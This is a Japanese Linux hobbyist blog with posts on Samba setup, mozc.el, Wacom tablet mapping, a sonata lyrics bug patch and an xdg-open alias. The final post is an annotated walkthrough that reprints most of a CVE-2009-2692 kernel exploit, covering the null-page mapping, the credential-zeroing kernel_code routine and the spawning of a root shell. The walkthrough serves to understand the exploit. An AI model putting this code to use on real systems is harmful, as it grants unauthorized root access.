2012/10/21

sambaのパスワード


samba 3.xのpasswordの格納場所としてsmbpasswdファイルは推奨されないようだ。
確かにgentooにportageからsambaをインストールした時もシステムにsmbpasswdファイルは存在しなかった。
testparm -v | grep passで/var/lib/samba/private/smbpasswdとは出てくるがw。
実態はpassdb backend = tdbsamとなっており、ユーザ情報の格納にはtdbファイルが使用されている。
TDB(Trivial Database)というユーザ管理データベースだそうだ。
自分の環境では/var/lib/samba/private/passdb.tdbだった。
tdbファイルはバイナリファイルだが、tdbファイルの内容をdumpするtdbdumpというコマンドがあるため、中をのぞくことができる。
$ tdbdump /var/lib/samba/private/passdb.tdb
でOK。

2012/10/15

samba備忘録

今更だが、自宅でsambaを利用することにした。メインのデスクトップPCのファイルに他の端末からもアクセスできれば便利だ。
sambaの設定は/etc/samba/のsmb.confというファイルに記述して行う。
全体的な設定は[global]というところに書き、共有する部位ごとに[share]などとエントリを作っていく形式らしい。
設定項目についてまとめてみる。

[global]
workgroup = WORKGROUP # 通常はWORKGOURP?windowsの設定にもよるか
server string = Samba Server # コメントらしい
netbios name = Gentoo # NetBIOSでの名前。大文字になるようだ
browseable = Yes # 外からみえるようにするか、らしい。
os level = 35 # 各workgroupにはmaster browserある。そのなりやすさのpriority
preferred master = Yes # local master browserになろうとする

# security
security = user # ユーザ認証にする。
encrypt passwords = true
hosts allow = 192.168.0. 127. # アクセスできるホストを制御
invalid users = root # rootにはさせない
map to guest = Never # ゲストユーザは許さない方針。
guest ok = No

#
load printers = no # プリンタはなし。
log file = /var/log/samba/log.%m
max log size = 100 # (kb)

# codings
unix charset = UTF-8 # 日本語可にするにはこうしろ、とのこと。
display charset = UTF-8
dos charset = CP932

#
# Directories
#
[share]
comment = My Sharing Stuff
path = /path/to/dir
read only = No
create mode = 0777
directory mode = 0777
valid users = myname # 許可するユーザを設定。

設定を見たい場合はtestparmコマンドを使う。
詳細を見たい場合はtestparm -vでOK。
nfsとかにしようかとも迷ったが、CIFSならLinux、Windows両方からアクセスしやすいので、sambaにした。
使い始める時、sambaのユーザを追加する必要があるが、
# pdbedit -a -u myname でOK。-aはadd、-uはユーザ名。この後passwdを設定して終了。
削除するときは
# pdbedit -x -u myname でよい。
samba快適だわ。





2012/01/01

mozc.el導入

今年初投稿!

ibus-mozcを使ってるが、emacs上でibusがどうもうまく動かない。
なんか特別な設定がいるのか?前uimを使ってたときはuimは動いてたけど。

どうしてもわからないので放置していたが、このたびemacs上でも日本語を使いたいと思って
mozc.elを導入することにした。
gentooの場合は、ibus-mozcというパッケージにemacsフラグがあるので、
# USE=emacs emerge ibus-mozc
としてmozc.elをインストール。

次にmozc.elに説明があるように.emacsとかに

(require 'mozc)
(set-language-environment "Japanese")
(setq default-input-method "japanese-mozc")

と書いておく。こうするとtoggle-input-methodで切り替えができるようになる。
Shift+spaceで切り替えをしてほしいので、

(global-set-key [?\S-\ ] 'toggle-input-method) ;; shift + space

とも書いておく。

これで導入終了。やっぱりディストリビューションのサポートがあるといいわー。

2011/12/31

Linux(Gentoo)でWacom Intuos 4を使う。

自分の環境は、OSはGentoo Linux、1920x1200のモニタのデュアルディスプレイ(nVidiaのTwinView使用)
画像を作るときはGIMPかmypaintで作ってる。
このたび、Intuos 4を購入した。

まずカーネルのCONFIG_TABLET_USB_WACOM=yにする。
Device Drivers -> Input device support -> Generic input layer -> tabletsにある。
Say Y here if you want to use the USB version of the Wacom Intuos or Graphire tablet.とあるので
これでいいのだろう。USBとかEvent interfaceとかにもチェックしておく必要があるらしい。

次にX用のwacomのドライバをインストール
# emerge xf86-input-wacom
でインストールできる。楽チン。で、マシンを再起動する(カーネルも変えてるし。)
ワコム用のツールもダウンロードしておくといい。
# emerge xsetwacom
# emerge xinput

こうすればもう使えるようになってる。
だが、スクリーンが3840x1200扱いなのでIntuosの横がモニタ2枚ぶんにマッピングされてて
少々使いづらい。
お絵かきは左のきれいなモニターでやれればいいや、という事でIntuosの横幅を左のモニタにマッピングする
方法を探したら、xinputでできるらしい。

# emerge xinput

まず、
$ xinput list とすると現在つながってる入力デバイスの一覧が。Wacom Intuos4もちゃんと出てる。
Wacom Intuos4 6x9 stylus                  id=11   [slave  pointer  (2)]
Wacom Intuos4 6x9 eraser                  id=12   [slave  pointer  (2)]
Wacom Intuos4 6x9 cursor                  id=13   [slave  pointer  (2)]
Wacom Intuos4 6x9 pad                     id=14   [slave  pointer  (2)]

これをマッピングしたい。
http://sourceforge.net/apps/mediawiki/linuxwacom/index.php?title=Dual_and_Multi-Monitor_Set_Up
このリンクを参考にし、wacom-settings.shというファイルを作成。
#!/bin/sh

xinput set-prop "Wacom Intuos4 6x9 stylus" --type=float "Coordinate Transformation Matrix" 0.5 0 0 0 1 0 0 0 1
xinput set-prop "Wacom Intuos4 6x9 cursor" --type=float "Coordinate Transformation Matrix" 0.5 0 0 0 1 0 0 0 1
xinput set-prop "Wacom Intuos4 6x9 pad"    --type=float "Coordinate Transformation Matrix" 0.5 0 0 0 1 0 0 0 1
xinput set-prop "Wacom Intuos4 6x9 eraser" --type=float "Coordinate Transformation Matrix" 0.5 0 0 0 1 0 0 0 1

これを実行すればタブレットと1枚目のモニタが対応していい感じになった。
あとは絵の書き方を学ぶだけかな。。。。

2011/07/07

sonata 1.6.2.1のlyrics fetch bug

自分は音楽再生にmpdとクライアントのsonataを使っていた。quodlibetも使うことがあるがsonataはやっぱり使いやすい。
最近はアクティブに開発されてないみたいだけど。

sonataはLyricWiki (http://lyrics.wikia.com/)から歌詞をFetchしてくるのだが、ある時からそれがFailしまくっている事に気づいた。
歌詞が載っている曲でもFailするので、バグじゃないかという事でコードを見てみる。

まず、Wiresharkでパケットを見てみる。
Infoタブの(Search)っていう所を押すと、Artist NameとSong Titleを入力して、そこからFetchに行くっぽいが、どうもArtist NameとSong Titleを入力しても
それがGETリクエストに反映されてないっぽかった。
"http://lyricwiki.org/index.php?title=:&action=edit”
みたいになっちゃってる。本来なら、The ToastersとEast Side Beatで検索すると
"http://lyricwiki.org/index.php?title=The%20Toasters:East%20Side%20Beat&action=edit"
ってなるべきだと思われる。

sonata-1.6.2.1をダウンロードしてみると、info.pyのget_lyrics_thread()にこれを行う部分が。
try:
    lyricpage = urllib.urlopen("http://lyricwiki.org/index.php?title=%s:%s&action=edit" % (self.lyricwiki_format(search_artist), self.lyricwiki_format(search_title))).read()
    content = re.split("]*>", lyricpage)[1].split("")[0]
    if content.startswith("#REDIRECT [["):
        addr = "http://lyricwiki.org/index.php?title=%s&action=edit" % urllib.quote(content.split("[[")[1].split("]]")[0])
        content = urllib.urlopen(addr).read()
    lyrics = content.split("<lyrics>")[1].split("</lyrics>")[0]
    if lyrics.strip() != "<!-- PUT LYRICS HERE (and delete this entire line) -->":
        lyrics = misc.unescape_html(lyrics)
        lyrics = misc.wiki_to_html(lyrics)
        lyrics = lyrics.decode("utf-8")
# Save lyrics to file:
        misc.create_dir('~/.lyrics/')
        f = open(filename, 'w')
        f.write(lyrics)
        f.close()
    else:
        lyrics = _("Lyrics not found")
    gobject.idle_add(self.info_show_lyrics, lyrics, filename_artist, filename_title)

ここに渡されるsearch_artistとsearch_titleがおかしいのか。という事で呼び出し元をみるとmain.pyのon_lyrics_search()が。
ここのdialog.destroy()のタイミングがおかしかった。dialog.destroy()をしてからartist_entry.get_text()を呼んでいる。順番は逆であるべきか。
ここを直したがまだ歌詞ガFetchできん…。
ちゃんとリクエストは送れてるっぽいしレスポンスも大丈夫そうだった。結果のparseがおかしいのか。

と思ってもう一度info.pyを見た。
get_lyrics_threadにあるparseを行う部分と返されるレスポンスを見てみると、
info.pyでは
lyrics = content.split("<lyrics>")[1].split("</lyrics>")[0]
としているが、実際のレスポンスは
"<lyrics>" "</lyrics>"
となっている事に気づく。>でなく直接>が帰ってきていた。これはLyricWikiのバグ(仕様か?)と思われたがとりあえずparseできるようにsplitの中を改変。
試してみると歌詞のFetch成功。やったわ。

パッチは以下のようになった。
diff -ur sonata-1.6.2.1/sonata/info.py sonata-1.6.2.1.fix/sonata/info.py
--- sonata-1.6.2.1/sonata/info.py    2009-09-22 06:02:16.000000000 +0900
+++ sonata-1.6.2.1.fix/sonata/info.py    2011-07-07 21:40:31.063073755 +0900
@@ -393,8 +393,8 @@
                 if content.startswith("#REDIRECT [["):
                     addr = "http://lyricwiki.org/index.php?title=%s&action=edit" % urllib.quote(content.split("[[")[1].split("]]")[0])
                     content = urllib.urlopen(addr).read()
-                lyrics = content.split("<lyrics>")[1].split("</lyrics>")[0]
-                if lyrics.strip() != "<!-- PUT LYRICS HERE (and delete this entire line) -->":
+                lyrics = content.split("<lyrics>")[1].split("</lyrics>")[0]
+                if lyrics.strip() != "<!-- PUT LYRICS HERE (and delete this entire line) -->":
                     lyrics = misc.unescape_html(lyrics)
                     lyrics = misc.wiki_to_html(lyrics)
                     lyrics = lyrics.decode("utf-8")
diff -ur sonata-1.6.2.1/sonata/main.py sonata-1.6.2.1.fix/sonata/main.py
--- sonata-1.6.2.1/sonata/main.py    2009-09-22 06:02:16.000000000 +0900
+++ sonata-1.6.2.1.fix/sonata/main.py    2011-07-07 21:40:00.149073735 +0900
@@ -2132,12 +2132,12 @@
         ui.show(dialog.vbox)
         response = dialog.run()
         if response == gtk.RESPONSE_ACCEPT:
-            dialog.destroy()
             # Delete current lyrics:
             filename = self.info.target_lyrics_filename(artist, title, None, consts.LYRICS_LOCATION_HOME)
             misc.remove_file(filename)
             # Search for new lyrics:
             self.info.get_lyrics_start(artist_entry.get_text(), title_entry.get_text(), artist, title, os.path.dirname(mpdh.get(self.songinfo, 'file')))
+            dialog.destroy()
         else:
             dialog.destroy()


The Toasters - East Side Beat
http://www.youtube.com/watch?v=bLqCpPpB4rI
いつ聞いてもいいですね。

いいの思いついたわ。

思いついてalias o='xdg-open'ってしてみた。これでどんな種類のファイルでもGUIでダブルクリックするみたいに
「開く」ができるわ。
$ o hoge.jpg
$ o hoge.pdf
$ o hoge.avi
みたいな。今のところ便利に使ってます。
自分の端末では/usr/bin/xdg-openにあったから見てみたらシェルスクリプトでした。
detectDEっていう関数で
detectDE()
{
    if [ x"$KDE_FULL_SESSION" = x"true" ]; then DE=kde;
    elif [ x"$GNOME_DESKTOP_SESSION_ID" != x"" ]; then DE=gnome;
    elif `dbus-send --print-reply --dest=org.freedesktop.DBus /org/freedesktop/DBus org.freedesktop.DBus.GetNameOwner string:org.gnome.SessionManager > /dev/null 2>&1` ; then DE=gnome;
    elif xprop -root _DT_SAVE_MODE 2> /dev/null | grep ' = \"xfce4\"$' >/dev/null 2>&1; then DE=xfce;
    elif [ x"$DESKTOP_SESSION" == x"LXDE" ]; then DE=lxde;
    else DE=""
    fi
}

みたいにしてDEをゲットして、例えばgnomeだったらopen_gnomeっていう関数でgvfs-openなりgnome-openなりを呼んでるのね。
なるほど。。
ほとんどターミナル上で作業するので便利。
$ eog huga.pdf
とかやってウザくなることが少なくなっていいわ。

2011/06/26

Androidでrootを取れるcve-2009-2692を見る(後半)

前回はアドレス0x00000000がどうやって実行されるのかを書いた。後半は何が実行されるのかを調べる。

もう一度exploitを見てみる。

int main(void) {
    char template[] = "/tmp/padlina.XXXXXX";
    int fdin, fdout;
    void *page;

    uid = getuid();
    gid = getgid();
    setresuid(uid, uid, uid); // 現在のプロセスのtask_structにuid,uid,uidの並びをセット。
    setresgid(gid, gid, gid); //

    if ((personality(0xffffffff)) != PER_SVR4) {
        if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
            perror("mmap");
            return -1;
        }
    } else {
        if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) { // 0 - 0x1000までREAD,WRITE,EXECにする。
            perror("mprotect");
            return -1;
        }
    }

    *(char *)0 = '\x90'; // nop
    *(char *)1 = '\xe9'; // jmp
    *(unsigned long *)2 = (unsigned long)&kernel_code - 6; // 0xe9はrelative jumpであることに注意。90 e9 hh hh hh hhで6。

    if ((fdin = mkstemp(template)) < 0) { // 一時ファイルを生成(templateより)
        perror("mkstemp");
        return -1;
    }

    if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
        perror("socket");
        return -1;
    }

    unlink(template); //作ったファイルネームを削除。
    ftruncate(fdin, PAGE_SIZE); // fdinをPAGE_SIZEに拡張。中身は0が書き込まれる。
    sendfile(fdout, fdin, NULL, PAGE_SIZE);
}

task_structの領域にsetresuidでuid,uid,uidの並びをセットする。
その後run.cでセットしてたpersonalityをチェックし、
mmap & mprotectで0x00000000から0x1000バイトに0を書きこみREAD,WRITE,EXEC属性をつける。

もちろんrun.cでpersonalityをPER_SVR4にしておかないとこんな事はできない。

ここまできたら0x00000000に実行用のコードを埋めこんでここを実行させる(sock_sendpageさせる)のみ。
0x00000000にはnop(0x90)を、
0x00000001にはjmp (kernel code - 6のアドレス)と書きこむ。kernel codeのアドレスを0x12345678とすると

90 e9 12 34 56 72

となる。e9はrelative jumpなことに注意。つまり0x06からの距離。
ここでkernel_code関数に飛ぶ。

void kernel_code()
{
    int i;
    uint *p = get_current();

    for (i = 0; i < 1024-13; i++) { // task_structの中をいじる。setresuidされて入ったuidとかgidとかをみつける--> そこを0に(root)
        if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
             p[0] = p[1] = p[2] = p[3] = 0;
            p[4] = p[5] = p[6] = p[7] = 0;
            p = (uint *) ((char *)(p + 8) + sizeof(void *));
            p[0] = p[1] = p[2] = ~0;
            break;
        }
        p++;
    }

    exit_kernel();
}

kernel_code関数はまずget_currentを呼びtask_structのアドレスを得る。
get_current関数を見てみると、

static inline __attribute__((always_inline)) void *get_current()
{
    unsigned long curr;

    __asm__ __volatile__ (
        "movl %%esp, %%eax ;"  // espの値をeaxにセット
        "andl %1, %%eax ;"     // eaxの13ビットをクリア
        "movl (%%eax), %0"     // (%eax)をr(どのレジスタでもよいという事)にセット -> つまりcurrになる。
        : "=r" (curr)
        : "i" (~8191)          // 8101 = 0x1fff
    );
    return (void *) curr;      // 現在のespを0xffffe000でマスクした物を返す。
}

プロセスはkernel中にthread_info構造体とカーネルスタックを持つ。これらは2つのページに連続してある。
thread_info構造体の第一要素はtask_struct(以下を参照)、1pageの大きさは0x1000 (4096)。
thread_infoは前半のほうなので(偶数番目) 0x2000にある。

/** arch/x86/include/asm/thread_info.h **/
struct thread_info {
    struct task_struct    *task;        /* main task structure */
    /* 略 */
};

つまりget_current関数でtask_structのcurrentを得るということ。


currentを得た後は、for (i = 0; i < 1024-13; i++) のループを始めるわけだが、このコードのしたい事は、
if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid)
この部分でメモリ上でuid,uid,uid,uid,gid,gid,gid,gidと並んでいるところを捜して、そこを0にするという物。uid=0はrootを意味するから。
でも、task_structみてもそんな並びの部分ねえよ。。task_struct->real_cred内に権限情報があるからこんな方法でアクセスできないし。

と思ってlinux-2.6.22.3を見てみたらバッチリあった。

/** include/linux/sched.h (linux-2.6.22.3) **/
struct task_struct {
       /* 略 */
/* process credentials */
    uid_t uid,euid,suid,fsuid;
    gid_t gid,egid,sgid,fsgid;

}

直書き…
とにかくここが0,0,0,0,0,0,0,0になる。
つまり昔のコードではちゃんと狙い通り動くと。cve-2009-2692の脆弱性は2.6.30.4まで存在するが、このexploitは2.6.30.4では動かない。まあ実際試したわけじゃないが。
まあexploitの動作を理解するためだしいいか。
ちなみにこのuid,uid,uidっていう並びを捜すのは昔のexploitでは定番の手法だったらしい。なるほど…


あとはexploitの最後、exit_kernel関数。

#define USER_CS    0x73
#define USER_SS    0x7b
#define USER_FL    0x246
#define STACK(x) (x + sizeof(x) - 40)

static inline __attribute__((always_inline)) void exit_kernel()
{
    __asm__ __volatile__ (
        "movl %0, 0x10(%%esp) ;"
        "movl %1, 0x0c(%%esp) ;"
        "movl %2, 0x08(%%esp) ;"
        "movl %3, 0x04(%%esp) ;"
        "movl %4, 0x00(%%esp) ;"
        "iret"
        :  // 出力レジスタはない。
        : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
            "i" (USER_CS), "r" (exit_code)
        );
}

これは適当な数字をスタックに積んで(その領域を使わせるようにして) iretする。
intする前のEIPはexit_codeのアドレスという事にしておく。するとシステムコールから帰った後はexit_codeのアドレスから実行を再開。することになる。
これでカーネルモードは終わり。ユーザモードに帰った後は、今きちんとrootかどうかを確認して、

void exit_code()
{
    if (getuid() != 0) {
        fprintf(stderr, "failed\n");
        exit(-1);
    }

    execl("/bin/sh", "sh", "-i", NULL); // -i はインタラクティブ
}

rootなら
"/bin/sh -i"を実行!!

これでroot shellゲット。exploit成功というわけだ。